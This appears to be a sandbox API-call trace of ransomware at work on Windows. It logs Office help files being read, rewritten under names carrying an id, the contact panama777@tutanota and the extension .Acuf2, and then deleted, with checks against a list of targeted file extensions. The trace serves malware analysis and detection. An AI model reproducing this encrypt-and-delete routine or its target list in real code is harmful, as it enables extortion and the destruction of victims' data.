	[0265.813] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0265.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61
	[0265.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61
	[0265.813] lstrlenW (lpString=".doc") returned 4
	[0265.813] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0265.813] lstrlenW (lpString=".docx") returned 5
	[0265.813] lstrcmpiW (lpString1=".docx", lpString2="M.HXS") returned -1
	[0265.813] lstrlenW (lpString=".pdf") returned 4
	[0265.813] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0265.814] lstrlenW (lpString=".xls") returned 4
	[0265.814] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0265.814] lstrlenW (lpString=".xlsx") returned 5
	[0265.814] lstrcmpiW (lpString1=".xlsx", lpString2="M.HXS") returned -1
	[0265.814] lstrlenW (lpString=".ppt") returned 4
	[0265.814] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0265.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61
	[0265.814] lstrlenW (lpString=".zip") returned 4
	[0265.814] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0265.814] lstrlenW (lpString=".rar") returned 4
	[0265.814] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0265.814] lstrlenW (lpString=".bz2") returned 4
	[0265.814] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0265.814] lstrlenW (lpString=".7z") returned 3
	[0265.814] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0265.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61
	[0265.814] lstrlenW (lpString=".dbf") returned 4
	[0265.814] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0265.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61
	[0265.814] lstrlenW (lpString=".1cd") returned 4
	[0265.814] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0265.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61
	[0265.814] lstrlenW (lpString=".jpg") returned 4
	[0265.814] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0265.815] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.815] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0265.815] GetLastError () returned 0x0
	[0265.815] ReadFile (in: hFile=0x344, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x281, lpOverlapped=0x0) returned 1
	[0265.817] WriteFile (in: hFile=0x35c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x290, lpOverlapped=0x0) returned 1
	[0265.817] ReadFile (in: hFile=0x344, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.817] WriteFile (in: hFile=0x35c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xf6, lpOverlapped=0x0) returned 1
	[0265.817] SetEndOfFile (hFile=0x35c) returned 1
	[0265.817] CloseHandle (hObject=0x35c) returned 1
	[0265.817] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.818] SetEndOfFile (hFile=0x344) returned 1
	[0265.819] CloseHandle (hObject=0x344) returned 1
	[0265.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc")) returned 1
	[0265.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65
	[0265.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65
	[0265.820] lstrlenW (lpString=".doc") returned 4
	[0265.820] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0265.820] lstrlenW (lpString=".docx") returned 5
	[0265.820] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0265.820] lstrlenW (lpString=".pdf") returned 4
	[0265.820] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0265.820] lstrlenW (lpString=".xls") returned 4
	[0265.820] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0265.820] lstrlenW (lpString=".xlsx") returned 5
	[0265.820] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0265.820] lstrlenW (lpString=".ppt") returned 4
	[0265.820] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0265.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65
	[0265.820] lstrlenW (lpString=".zip") returned 4
	[0265.820] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0265.820] lstrlenW (lpString=".rar") returned 4
	[0265.820] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0265.820] lstrlenW (lpString=".bz2") returned 4
	[0265.821] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0265.821] lstrlenW (lpString=".7z") returned 3
	[0265.821] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0265.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65
	[0265.821] lstrlenW (lpString=".dbf") returned 4
	[0265.821] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0265.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65
	[0265.821] lstrlenW (lpString=".1cd") returned 4
	[0265.821] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0265.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65
	[0265.821] lstrlenW (lpString=".jpg") returned 4
	[0265.821] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0265.821] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=209) returned 1
	[0265.821] CloseHandle (hObject=0x344) returned 1
	[0265.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt")) returned 0x20
	[0265.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0265.822] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.822] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0265.822] GetLastError () returned 0x0
	[0265.822] ReadFile (in: hFile=0x344, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0xd1, lpOverlapped=0x0) returned 1
	[0265.823] WriteFile (in: hFile=0x35c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xe0, lpOverlapped=0x0) returned 1
	[0265.824] ReadFile (in: hFile=0x344, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.824] WriteFile (in: hFile=0x35c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xf6, lpOverlapped=0x0) returned 1
	[0265.824] SetEndOfFile (hFile=0x35c) returned 1
	[0265.824] CloseHandle (hObject=0x35c) returned 1
	[0265.824] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.824] SetEndOfFile (hFile=0x344) returned 1
	[0266.663] CloseHandle (hObject=0x344) returned 1
	[0266.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0266.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt")) returned 1
	[0266.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65
	[0266.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65
	[0266.807] lstrlenW (lpString=".doc") returned 4
	[0266.807] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0266.807] lstrlenW (lpString=".docx") returned 5
	[0266.807] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0266.807] lstrlenW (lpString=".pdf") returned 4
	[0266.807] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0266.807] lstrlenW (lpString=".xls") returned 4
	[0266.807] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0266.808] lstrlenW (lpString=".xlsx") returned 5
	[0266.808] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0266.808] lstrlenW (lpString=".ppt") returned 4
	[0266.808] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0266.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65
	[0266.808] lstrlenW (lpString=".zip") returned 4
	[0266.808] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0266.808] lstrlenW (lpString=".rar") returned 4
	[0266.808] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0266.808] lstrlenW (lpString=".bz2") returned 4
	[0266.808] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0266.808] lstrlenW (lpString=".7z") returned 3
	[0266.808] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0266.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65
	[0266.808] lstrlenW (lpString=".dbf") returned 4
	[0266.808] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0266.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65
	[0266.808] lstrlenW (lpString=".1cd") returned 4
	[0266.808] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0266.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65
	[0266.808] lstrlenW (lpString=".jpg") returned 4
	[0266.808] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0266.809] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=153) returned 1
	[0266.809] CloseHandle (hObject=0x334) returned 1
	[0266.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir")) returned 0x20
	[0266.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0266.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0266.809] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.809] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0268.033] GetLastError () returned 0x0
	[0268.033] ReadFile (in: hFile=0x334, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x99, lpOverlapped=0x0) returned 1
	[0268.034] WriteFile (in: hFile=0x360, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xa0, lpOverlapped=0x0) returned 1
	[0268.035] ReadFile (in: hFile=0x334, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.035] WriteFile (in: hFile=0x360, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0268.035] SetEndOfFile (hFile=0x360) returned 1
	[0268.035] CloseHandle (hObject=0x360) returned 1
	[0268.035] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.035] SetEndOfFile (hFile=0x334) returned 1
	[0268.065] CloseHandle (hObject=0x334) returned 1
	[0268.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir")) returned 1
	[0268.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68
	[0268.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68
	[0268.066] lstrlenW (lpString=".doc") returned 4
	[0268.066] lstrcmpiW (lpString1=".doc", lpString2="sdir") returned -1
	[0268.066] lstrlenW (lpString=".docx") returned 5
	[0268.066] lstrcmpiW (lpString1=".docx", lpString2="vsdir") returned -1
	[0268.066] lstrlenW (lpString=".pdf") returned 4
	[0268.066] lstrcmpiW (lpString1=".pdf", lpString2="sdir") returned -1
	[0268.066] lstrlenW (lpString=".xls") returned 4
	[0268.066] lstrcmpiW (lpString1=".xls", lpString2="sdir") returned -1
	[0268.066] lstrlenW (lpString=".xlsx") returned 5
	[0268.066] lstrcmpiW (lpString1=".xlsx", lpString2="vsdir") returned -1
	[0268.066] lstrlenW (lpString=".ppt") returned 4
	[0268.066] lstrcmpiW (lpString1=".ppt", lpString2="sdir") returned -1
	[0268.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68
	[0268.066] lstrlenW (lpString=".zip") returned 4
	[0268.066] lstrcmpiW (lpString1=".zip", lpString2="sdir") returned -1
	[0268.066] lstrlenW (lpString=".rar") returned 4
	[0268.066] lstrcmpiW (lpString1=".rar", lpString2="sdir") returned -1
	[0268.067] lstrlenW (lpString=".bz2") returned 4
	[0268.067] lstrcmpiW (lpString1=".bz2", lpString2="sdir") returned -1
	[0268.067] lstrlenW (lpString=".7z") returned 3
	[0268.067] lstrcmpiW (lpString1=".7z", lpString2="dir") returned -1
	[0268.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68
	[0268.067] lstrlenW (lpString=".dbf") returned 4
	[0268.067] lstrcmpiW (lpString1=".dbf", lpString2="sdir") returned -1
	[0268.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68
	[0268.067] lstrlenW (lpString=".1cd") returned 4
	[0268.067] lstrcmpiW (lpString1=".1cd", lpString2="sdir") returned -1
	[0268.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68
	[0268.067] lstrlenW (lpString=".jpg") returned 4
	[0268.067] lstrcmpiW (lpString1=".jpg", lpString2="sdir") returned -1
	[0268.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0268.103] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.103] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0268.105] GetLastError () returned 0x0
	[0268.105] ReadFile (in: hFile=0x370, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0xd3, lpOverlapped=0x0) returned 1
	[0268.106] WriteFile (in: hFile=0x368, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xe0, lpOverlapped=0x0) returned 1
	[0268.107] ReadFile (in: hFile=0x370, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.107] WriteFile (in: hFile=0x368, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xfa, lpOverlapped=0x0) returned 1
	[0268.107] SetEndOfFile (hFile=0x368) returned 1
	[0268.107] CloseHandle (hObject=0x368) returned 1
	[0268.108] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.108] SetEndOfFile (hFile=0x370) returned 1
	[0268.110] CloseHandle (hObject=0x370) returned 1
	[0268.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.111] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt")) returned 1
	[0268.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67
	[0268.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67
	[0268.111] lstrlenW (lpString=".doc") returned 4
	[0268.111] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0268.111] lstrlenW (lpString=".docx") returned 5
	[0268.111] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0268.111] lstrlenW (lpString=".pdf") returned 4
	[0268.112] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0268.112] lstrlenW (lpString=".xls") returned 4
	[0268.112] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0268.112] lstrlenW (lpString=".xlsx") returned 5
	[0268.112] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0268.112] lstrlenW (lpString=".ppt") returned 4
	[0268.112] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0268.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67
	[0268.112] lstrlenW (lpString=".zip") returned 4
	[0268.112] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0268.112] lstrlenW (lpString=".rar") returned 4
	[0268.112] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0268.112] lstrlenW (lpString=".bz2") returned 4
	[0268.112] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0268.112] lstrlenW (lpString=".7z") returned 3
	[0268.112] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0268.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67
	[0268.112] lstrlenW (lpString=".dbf") returned 4
	[0268.112] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0268.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67
	[0268.112] lstrlenW (lpString=".1cd") returned 4
	[0268.112] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0268.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67
	[0268.112] lstrlenW (lpString=".jpg") returned 4
	[0268.112] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0268.115] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=113) returned 1
	[0268.115] CloseHandle (hObject=0x36c) returned 1
	[0268.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk")) returned 0x20
	[0268.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0268.123] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.123] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
